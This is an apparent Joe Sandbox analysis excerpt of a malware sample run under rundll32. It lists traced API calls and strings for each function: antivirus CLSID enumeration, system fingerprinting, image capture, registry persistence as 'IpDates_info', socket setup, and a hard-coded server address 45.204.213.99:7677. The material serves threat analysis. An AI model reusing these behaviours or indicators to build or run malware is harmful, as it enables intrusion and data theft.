CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}, xrefs: 04DB62C0
Windows Defender IOfficeAntiVirus implementation , xrefs: 04DB6116, 04DB6158, 04DB6164, 04DB6359, 04DB6365, 04DB63B2, 04DB63C6, 04DB63EA

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: _memset$Createlstrcat$InstanceOpenSnapshotToolhelp32wsprintf
String ID: CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}$Windows Defender IOfficeAntiVirus implementation
API String ID: 1221949200-1583895642
Opcode ID: c9b49299c4083dc14efa10410fe3535bdaa8514155d866578d6d994c7dec08ce
Instruction ID: 2ec27e0c51b5605b12213f861f42ac92c2842421008421eba7c64f0a20f31c49
Opcode Fuzzy Hash: c9b49299c4083dc14efa10410fe3535bdaa8514155d866578d6d994c7dec08ce
Instruction Fuzzy Hash: 468172B2B00228ABDB20DB55CC90FEEB7B8EB48704F0445D9F649A7241D674BE45CFA5

Function 04DB5ED0 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 88
sleepstringsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexW.KERNEL32(00000000,00000000,2024.12.19), ref: 04DB5EF6
GetLastError.KERNEL32 ref: 04DB5EFE
Sleep.KERNEL32(000003E8), ref: 04DB5F15
CreateMutexW.KERNEL32(00000000,00000000,2024.12.19), ref: 04DB5F20
GetLastError.KERNEL32 ref: 04DB5F22
_memset.LIBCMT ref: 04DB5F49
lstrlenW.KERNEL32(?), ref: 04DB5F56
lstrcmpW.KERNEL32(?,04DD5328), ref: 04DB5F7D
Sleep.KERNEL32(000003E8), ref: 04DB5F88
GetModuleHandleW.KERNEL32(00000000), ref: 04DB5F95
GetConsoleWindow.KERNEL32 ref: 04DB5F9F

Strings

open, xrefs: 04DB5F5D
2024.12.19, xrefs: 04DB5EED, 04DB5F17
key, xrefs: 04DB5F62

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: CreateErrorLastMutexSleep$ConsoleHandleModuleWindow_memsetlstrcmplstrlen
String ID: 2024.12.19$key$open
API String ID: 2922109467-2390376316
Opcode ID: d41fc9222c7846f19f36f993a4a2b1bc354113097895b6168966d245da29c4a3
Instruction ID: 08230956b3a2a7d283886a6fb59feb933784c1243886b864d6a93c7bfde05a98
Opcode Fuzzy Hash: d41fc9222c7846f19f36f993a4a2b1bc354113097895b6168966d245da29c4a3
Instruction Fuzzy Hash: 4E21A672A44305EBE714EF64EC65F9AB794EB88708F100829F645972C0DA74F909CBE3

Function 04DB6246 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 125
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 04DB625E
wsprintfW.USER32 ref: 04DB62C6
RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 04DB62EF
_memset.LIBCMT ref: 04DB6306
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,?,?,?), ref: 04DB6342
lstrcatW.KERNEL32(04DE1F10,?), ref: 04DB635E
lstrcatW.KERNEL32(04DE1F10,04DD535C), ref: 04DB636A
RegCloseKey.ADVAPI32(00000000), ref: 04DB6373
lstrlenW.KERNEL32(04DE1F10,?,B7FCE562,75BF73E0,00000000,00000AD4), ref: 04DB63B7
lstrcatW.KERNEL32(04DE1F10,04DD53D4,?,B7FCE562,75BF73E0,00000000,00000AD4), ref: 04DB63CB

Strings

CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}, xrefs: 04DB62C0
Windows Defender IOfficeAntiVirus implementation , xrefs: 04DB6359, 04DB6365, 04DB63B2, 04DB63C6, 04DB63EA

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: lstrcat$_memset$CloseOpenQueryValuelstrlenwsprintf
String ID: CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}$Windows Defender IOfficeAntiVirus implementation
API String ID: 1671694837-1583895642
Opcode ID: 3fee21299686d1f9db9d4f848b6e1ff525f2632f890eb5a198e0d9390c0d8e50
Instruction ID: b43d0268d950d4397ae7346d782bd62941413c0b63e954da88651dcb59d660f3
Opcode Fuzzy Hash: 3fee21299686d1f9db9d4f848b6e1ff525f2632f890eb5a198e0d9390c0d8e50
Instruction Fuzzy Hash: 5D4196B1600228ABDB24DB55CC54FFEB7B8AF48705F0441C9F349A7281D674AA85CFA5

Function 04DB7410 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 99
registrylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(ntdll.dll,74DEDF80,?,?,?,04DB55A1,0000035E,000002FA), ref: 04DB741C
GetProcAddress.KERNEL32(00000000,RtlGetNtVersionNumbers), ref: 04DB7432
swprintf.LIBCMT ref: 04DB746F

Part of subcall function 04DB7390: GetModuleHandleW.KERNEL32(kernel32.dll,GetNativeSystemInfo,?,?,?,?,?,?,?,?,04DB74A3), ref: 04DB73BD
Part of subcall function 04DB7390: GetProcAddress.KERNEL32(00000000), ref: 04DB73C4
Part of subcall function 04DB7390: GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,04DB74A3), ref: 04DB73D2

RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00020019,000002FA), ref: 04DB74C7
RegQueryValueExW.KERNEL32(000002FA,ProductName,00000000,00000001,00000000,?), ref: 04DB74E3
RegCloseKey.KERNEL32(000002FA), ref: 04DB7506
FreeLibrary.KERNEL32(00000000,?,?,?,04DB55A1,0000035E,000002FA), ref: 04DB7518

Strings

ProductName, xrefs: 04DB74DD
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 04DB74BD
RtlGetNtVersionNumbers, xrefs: 04DB742C
%d.%d.%d, xrefs: 04DB7467
ntdll.dll, xrefs: 04DB7417

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: AddressLibraryProc$CloseFreeHandleInfoLoadModuleNativeOpenQuerySystemValueswprintf
String ID: %d.%d.%d$ProductName$RtlGetNtVersionNumbers$SOFTWARE\Microsoft\Windows NT\CurrentVersion$ntdll.dll
API String ID: 2158625971-3190923360
Opcode ID: facacc9bb9db3f2fe39a7c5544d882d9fa9972512471af9a5051aef6eb387dda
Instruction ID: 3ac757c08aa6046f45408d5194164e42f166c3355245325ff098989a440b9b9f
Opcode Fuzzy Hash: facacc9bb9db3f2fe39a7c5544d882d9fa9972512471af9a5051aef6eb387dda
Instruction Fuzzy Hash: 4D31B671B01208BBDB15DBA4DD55EFF77BCEB48700F104558BA06E6241E674EB00CBA0

Function 04DBBFE0 Relevance: 19.7, APIs: 13, Instructions: 178memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000002,?,B7FCE562,?,00000000,?), ref: 04DBC01E
GlobalLock.KERNEL32(00000000), ref: 04DBC02A
GlobalUnlock.KERNEL32(00000000), ref: 04DBC03F
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 04DBC055
EnterCriticalSection.KERNEL32(04DDFB64), ref: 04DBC093
LeaveCriticalSection.KERNEL32(04DDFB64), ref: 04DBC0A4

Part of subcall function 04DB9D30: GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 04DB9D54
Part of subcall function 04DB9D30: GdipDisposeImage.GDIPLUS(?), ref: 04DB9D68

CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 04DBC0CC

Part of subcall function 04DBA3B0: GdipGetImageEncodersSize.GDIPLUS(?,?), ref: 04DBA3DD
Part of subcall function 04DBA3B0: _free.LIBCMT ref: 04DBA453

GetHGlobalFromStream.OLE32(?,?), ref: 04DBC0ED
GlobalLock.KERNEL32(?), ref: 04DBC0F7
GlobalFree.KERNEL32(00000000), ref: 04DBC10F

Part of subcall function 04DB9B00: DeleteObject.GDI32(?), ref: 04DB9B32
Part of subcall function 04DB9B00: EnterCriticalSection.KERNEL32(04DDFB64,?,?,?,04DB9ADB), ref: 04DB9B43
Part of subcall function 04DB9B00: EnterCriticalSection.KERNEL32(04DDFB64,?,?,?,04DB9ADB), ref: 04DB9B58
Part of subcall function 04DB9B00: GdiplusShutdown.GDIPLUS(00000000,?,?,?,04DB9ADB), ref: 04DB9B64
Part of subcall function 04DB9B00: LeaveCriticalSection.KERNEL32(04DDFB64,?,?,?,04DB9ADB), ref: 04DB9B75
Part of subcall function 04DB9B00: LeaveCriticalSection.KERNEL32(04DDFB64,?,?,?,04DB9ADB), ref: 04DB9B7C

GlobalSize.KERNEL32(00000000), ref: 04DBC125
GlobalUnlock.KERNEL32(?), ref: 04DBC1A0
GlobalFree.KERNEL32(00000000), ref: 04DBC1C8

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: Global$CriticalSection$Stream$CreateEnterGdipLeave$FreeFromImageLockSizeUnlock$AllocBitmapDeleteDisposeEncodersGdiplusObjectShutdown_free
String ID:
API String ID: 1483550337-0
Opcode ID: 01f8ec170c4cdc2282840ed64fa05f83633580d43a15436a8a34f38d4e2000fa
Instruction ID: 964b1ad2a88beaf334bf3191758ab52673fb11d43d620e95b45ed11e3be58b60
Opcode Fuzzy Hash: 01f8ec170c4cdc2282840ed64fa05f83633580d43a15436a8a34f38d4e2000fa
Instruction Fuzzy Hash: 886106B1E01218EFDB10EFA4D8949DEBBB8FF49704F10856EE516A7340DB34A901CBA0

Function 04DB6420 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 144registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04DB6452
RegOpenKeyExW.KERNEL32(80000001,Software\Tencent\Plugin\VAS,00000000,000F003F,?), ref: 04DB6472
RegQueryInfoKeyW.ADVAPI32(?,00000000,00000000,00000000,?,?,00000000,?,?,?,00000000,00000000), ref: 04DB64B4
_memset.LIBCMT ref: 04DB64F0
_memset.LIBCMT ref: 04DB651E
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,00000000,75BF73E0,00000AD4), ref: 04DB654A
lstrlenW.KERNEL32(?,?,?,?,00000000,75BF73E0,00000AD4), ref: 04DB6553
lstrlenW.KERNEL32(?,?,?,?,00000000,75BF73E0,00000AD4), ref: 04DB6565
RegCloseKey.ADVAPI32(?,00000000,75BF73E0,00000AD4), ref: 04DB65B5
lstrlenW.KERNEL32(?), ref: 04DB65C5

Strings

Software\Tencent\Plugin\VAS, xrefs: 04DB6468

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: _memsetlstrlen$CloseEnumInfoOpenQuery
String ID: Software\Tencent\Plugin\VAS
API String ID: 2921034913-3343197220
Opcode ID: 6740dd69e7fd162d17e1592d0848b3e78dc07182b0366dc93814ba2a912ad895
Instruction ID: 3a7d87d86c5439572a277822781d7576d277b540753bbffa39d3cb125803301b
Opcode Fuzzy Hash: 6740dd69e7fd162d17e1592d0848b3e78dc07182b0366dc93814ba2a912ad895
Instruction Fuzzy Hash: D64189F1A40219EBDB24DB50CD85FEA73B8EB44704F0085D9F709B7181EA70EA858BA5

Function 04DB6720 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 116memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 04DB52C0: InterlockedDecrement.KERNEL32(00000008), ref: 04DB530C
Part of subcall function 04DB52C0: SysFreeString.OLEAUT32(00000000), ref: 04DB5321
Part of subcall function 04DB52C0: SysAllocString.OLEAUT32(04DD5148), ref: 04DB5372

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,?,04DB6934,00000000,00000994), ref: 04DB678B
GetLastError.KERNEL32 ref: 04DB6791
GetProcessHeap.KERNEL32(00000008,?), ref: 04DB67A9
HeapAlloc.KERNEL32(00000000), ref: 04DB67B0
GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,?,?), ref: 04DB67D2
LookupAccountSidW.ADVAPI32(00000000,?,?,00000100,?,00000100,?), ref: 04DB6800
GetLastError.KERNEL32 ref: 04DB680A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 04DB6879
HeapFree.KERNEL32(00000000), ref: 04DB6880

Strings

NONE_MAPPED, xrefs: 04DB6817

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: Heap$AllocErrorFreeInformationLastProcessStringToken$AccountDecrementInterlockedLookup
String ID: NONE_MAPPED
API String ID: 1317816589-2950899194
Opcode ID: 2a90b52ba7e99c1c8ee335a0fc1f4457b88f35af0e57cbbc3df74e8351b93bcd
Instruction ID: 5abe6026112a93466c5456caac101c5d90c9c06f01c3e5fe1faf6471188bcc46
Opcode Fuzzy Hash: 2a90b52ba7e99c1c8ee335a0fc1f4457b88f35af0e57cbbc3df74e8351b93bcd
Instruction Fuzzy Hash: 1141A2B5A01208EBDB24DF54DD94FEE7378EB84704F0040E9E64AA7240DB74AE85CFA5

Function 6CC14852 Relevance: 17.0, APIs: 10, Strings: 1, Instructions: 450COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000098), ref: 6CC14A3A
memmove.VCRUNTIME140(?,?,00000188), ref: 6CC14A7C
memmove.VCRUNTIME140(?,?,00000029), ref: 6CC14C4B
memmove.VCRUNTIME140(?,?,00000029), ref: 6CC14D08
memmove.VCRUNTIME140(?,?,00000029), ref: 6CC14D40
memmove.VCRUNTIME140(?,?,000000D0), ref: 6CC14DC4
memmove.VCRUNTIME140(?,?,000000D4), ref: 6CC14DDB
memmove.VCRUNTIME140(?,?,000000D4), ref: 6CC14E62
memmove.VCRUNTIME140(?,?,00000114), ref: 6CC14F5D
memmove.VCRUNTIME140(?,?,00000114), ref: 6CC1502A
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CC15052
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CC15104
memmove.VCRUNTIME140(?,00000009,00000118), ref: 6CC1534C
memmove.VCRUNTIME140(?,00000009,00000118), ref: 6CC15381
memmove.VCRUNTIME140(?,00000009,00000118), ref: 6CC15832
memmove.VCRUNTIME140(?,?,00000118), ref: 6CC15EB4
memmove.VCRUNTIME140(?,?,0000011C), ref: 6CC15ED2
memmove.VCRUNTIME140(0000002C,?,0000011C), ref: 6CC15F29

Strings

U9W{, xrefs: 6CC152AE

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID: U9W{
API String ID: 2162964266-3288374708
Opcode ID: e08d6ca63233d99300c7d0dfce97315346de34412a9d50d9b01b2a1700f951be
Instruction ID: b4d463b8a3ea65771647e25b4c006c3e3235bbb90ef7d2ad190d3d3024de5059
Opcode Fuzzy Hash: e08d6ca63233d99300c7d0dfce97315346de34412a9d50d9b01b2a1700f951be
Instruction Fuzzy Hash: 3F22BE75908B858FC722CF25C8807DBB7F5BF9A301F044A6DD8881F642EB709589DB92

Function 04DBA3B0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 150windowCOMMON

Download Yara Rule

APIs

GdipGetImageEncodersSize.GDIPLUS(?,?), ref: 04DBA3DD
_malloc.LIBCMT ref: 04DBA421
_free.LIBCMT ref: 04DBA453
GdipGetImageEncoders.GDIPLUS(?,?,00000008), ref: 04DBA472
GdipSaveImageToStream.GDIPLUS(00000000,?,?,00000000), ref: 04DBA4E4
GdipDisposeImage.GDIPLUS(00000000), ref: 04DBA4EF
GdipCreateBitmapFromHBITMAP.GDIPLUS(?,00000000,?), ref: 04DBA515
GdipDisposeImage.GDIPLUS(00000000), ref: 04DBA52D

Strings

&, xrefs: 04DBA4C9

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: Gdip$Image$DisposeEncoders$BitmapCreateFromSaveSizeStream_free_malloc
String ID: &
API String ID: 2794124522-3042966939
Opcode ID: b47876c5398676345a9b57e5c024cdbc06a00509f4b1505159697864065484a3
Instruction ID: 93ca8f5e9ee9c0a784eec75af29061d7f83117ce4cd940005baeb0483bb5f65a
Opcode Fuzzy Hash: b47876c5398676345a9b57e5c024cdbc06a00509f4b1505159697864065484a3
Instruction Fuzzy Hash: C7514CB1E00219DFDB04DFA4D848AEEB7B8FF48704F048169EA46A7750E634B945CBE1

Function 042052C0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 123registrysleepCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000002,SOFTWARE,00000000,00000102,?), ref: 04205392
RegDeleteValueW.KERNEL32(?,IpDates_info), ref: 042053A2
RegSetValueExW.KERNEL32(?,IpDates_info,00000000,00000003,0421C7D8,000012A0), ref: 042053C0
RegCloseKey.KERNEL32(?), ref: 042053CB
OpenProcess.KERNEL32(00000400,00000000,?), ref: 0420541F
GetExitCodeProcess.KERNEL32(00000000,?), ref: 0420542B
Sleep.KERNEL32(00000BB8), ref: 04205444

Strings

SOFTWARE, xrefs: 04205388
IpDates_info, xrefs: 0420539C, 042053BA

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: OpenProcessValue$CloseCodeDeleteExitSleep
String ID: IpDates_info$SOFTWARE
API String ID: 864241144-2243437601
Opcode ID: 14ba62e7355e9d32d1c467ed3d9539e80b1975b97e48fb0a025daba82dbca7c7
Instruction ID: a1ccf23cb7e1c693c440f052035b22f2be5ddb9300b37d773b3bfdffc8023406
Opcode Fuzzy Hash: 14ba62e7355e9d32d1c467ed3d9539e80b1975b97e48fb0a025daba82dbca7c7
Instruction Fuzzy Hash: 4241F532764241BBD310CF249809B7A7BE4EBA5744FDC9458E486961D3E7B0F881CF92

Function 042052E9 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 84registrysleepCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000002,SOFTWARE,00000000,00000102,?), ref: 04205392
RegDeleteValueW.KERNEL32(?,IpDates_info), ref: 042053A2
RegSetValueExW.KERNEL32(?,IpDates_info,00000000,00000003,0421C7D8,000012A0), ref: 042053C0
RegCloseKey.KERNEL32(?), ref: 042053CB
OpenProcess.KERNEL32(00000400,00000000,?), ref: 0420541F
GetExitCodeProcess.KERNEL32(00000000,?), ref: 0420542B
Sleep.KERNEL32(00000BB8), ref: 04205444

Strings

SOFTWARE, xrefs: 04205388
IpDates_info, xrefs: 0420539C, 042053BA

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: OpenProcessValue$CloseCodeDeleteExitSleep
String ID: IpDates_info$SOFTWARE
API String ID: 864241144-2243437601
Opcode ID: 7bbfc6945f8c07662aaaa09fc274e540deb5898c1a06615fb94af005a1448b2d
Instruction ID: 15a463e809598def823cf6890f2d3679769257c443f42d8d4e97de3d0f7fd953
Opcode Fuzzy Hash: 7bbfc6945f8c07662aaaa09fc274e540deb5898c1a06615fb94af005a1448b2d
Instruction Fuzzy Hash: 9431C4303A4281BFD720CF209808B797BE4AFA8744F9C9498E5869A193D7B0F881CF51

Function 6CBEB679 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 358networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32(00000002,00000001,00000006,00000000,00000000,00000081), ref: 6CBEB6BC
ioctlsocket.WS2_32(?,8004667E,?), ref: 6CBEB6DA
GetLastError.KERNEL32 ref: 6CBEB6F0
GetLastError.KERNEL32 ref: 6CBEB736
WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 6CBEB83F
GetLastError.KERNEL32 ref: 6CBEB84A
closesocket.WS2_32(?), ref: 6CBEB9F0

Part of subcall function 6CC47A4F: setsockopt.WS2_32(?,0000FFFF,?,?,00000004), ref: 6CC47A63

Strings

tcp open errortcp set_nonblocking errortcp bind local error, xrefs: 6CBEB6F9

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: ErrorLast$IoctlSocketclosesocketioctlsocketsetsockopt
String ID: tcp open errortcp set_nonblocking errortcp bind local error
API String ID: 2822801258-1475804424
Opcode ID: 758c5f6e1fd38a7aa236a6b3213e9d5b4d36f5e5691c3be49f2fcb537c361593
Instruction ID: d1c4caf80f5a06151607f523fbf9e0a5c539bd7e68f3d41dccaed7778be5ad57
Opcode Fuzzy Hash: 758c5f6e1fd38a7aa236a6b3213e9d5b4d36f5e5691c3be49f2fcb537c361593
Instruction Fuzzy Hash: 81E1B0716083819FE714CF24C480B9ABBF1FF89B54F108A1DF9989B691D771D885CB86

Function 6CC46ABD Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 187libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(ntdll.dll), ref: 6CC46BC7
GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 6CC46BDB
memset.VCRUNTIME140(?,00000000,00000110,00000000,RtlGetVersion), ref: 6CC46BF9
AcquireCredentialsHandleA.SECUR32(00000000,Microsoft Unified Security Protocol Provider,00000002,00000000,?,00000000,00000000,?,00000000), ref: 6CC46CA1

Strings

bE, xrefs: 6CC46C28
ntdll.dll, xrefs: 6CC46BC2
RtlGetVersion, xrefs: 6CC46BD5
Microsoft Unified Security Protocol Provider, xrefs: 6CC46C9A

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: Handle$AcquireAddressCredentialsModuleProcmemset
String ID: Microsoft Unified Security Protocol Provider$RtlGetVersion$bE$ntdll.dll
API String ID: 166702113-1116218560
Opcode ID: 6117cf1bb5bc2ab00e7dec8256bcfbf32b5c269a08f867043eaad451e0110db5
Instruction ID: fa940e65551d64de0bef833ac67f17e7ce29466ce7a989ccbfbfeb79238eb5e5
Opcode Fuzzy Hash: 6117cf1bb5bc2ab00e7dec8256bcfbf32b5c269a08f867043eaad451e0110db5
Instruction Fuzzy Hash: 90714971A48B459BE320CF25C840B6AB7F4FFC9718F10CA1DE5889B681EB70E485CB55

Function 04206120 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 172sleepsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 04207734: __fassign.LIBCMT ref: 0420772A

Sleep.KERNEL32(00000000), ref: 0420615C

Part of subcall function 042070D7: _malloc.LIBCMT ref: 042070F1

Sleep.KERNEL32(00000000), ref: 042062C1
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0420630D

Part of subcall function 04202C60: WSAStartup.WS2_32(00000202,?), ref: 04202CBF
Part of subcall function 04202C60: CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 04202CCA
Part of subcall function 04202C60: InterlockedExchange.KERNEL32(00000018,00000000), ref: 04202CD8

WaitForSingleObject.KERNEL32(?,000000FF), ref: 04206357
CloseHandle.KERNEL32(?), ref: 04206375
CloseHandle.KERNEL32(?), ref: 04206382

Strings

45.204.213.99, xrefs: 042061C6, 04206209, 04206262, 042062DA
7677, xrefs: 042061D7, 0420621A, 04206273, 042062C9

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: CloseCreateEventHandleSleep$ExchangeInterlockedObjectSingleStartupWait__fassign_malloc
String ID: 45.204.213.99$7677
API String ID: 3083163006-1603803548
Opcode ID: 1e8d45e5aa831b625a9788dec161b2664d398bd4e0bcf30ed3562338046291cd
Instruction ID: 7df508c2e0ec7c6385577549e2f683f0f94786f988e5c5a22fa7a355082c46fd
Opcode Fuzzy Hash: 1e8d45e5aa831b625a9788dec161b2664d398bd4e0bcf30ed3562338046291cd
Instruction Fuzzy Hash: 0051C8B0B61205AFDB10DFA8E8C596EBBF5EFA8714F104125E010A7292CE74BD41CFA1

Function 6CC1491E Relevance: 13.9, APIs: 8, Strings: 1, Instructions: 422COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000029), ref: 6CC14C4B
memmove.VCRUNTIME140(?,?,00000029), ref: 6CC14D08
memmove.VCRUNTIME140(?,?,00000029), ref: 6CC14D40
memmove.VCRUNTIME140(?,?,000000D0), ref: 6CC14DC4
memmove.VCRUNTIME140(?,?,000000D4), ref: 6CC14DDB
memmove.VCRUNTIME140(?,?,000000D4), ref: 6CC14E62
memmove.VCRUNTIME140(?,?,00000114), ref: 6CC14F5D
memmove.VCRUNTIME140(?,?,00000114), ref: 6CC1502A
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CC15052
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CC15104
memmove.VCRUNTIME140(?,00000009,00000118), ref: 6CC1534C
memmove.VCRUNTIME140(?,00000009,00000118), ref: 6CC15381
memmove.VCRUNTIME140(?,00000009,00000118), ref: 6CC15832
memmove.VCRUNTIME140(?,?,00000118), ref: 6CC15EB4
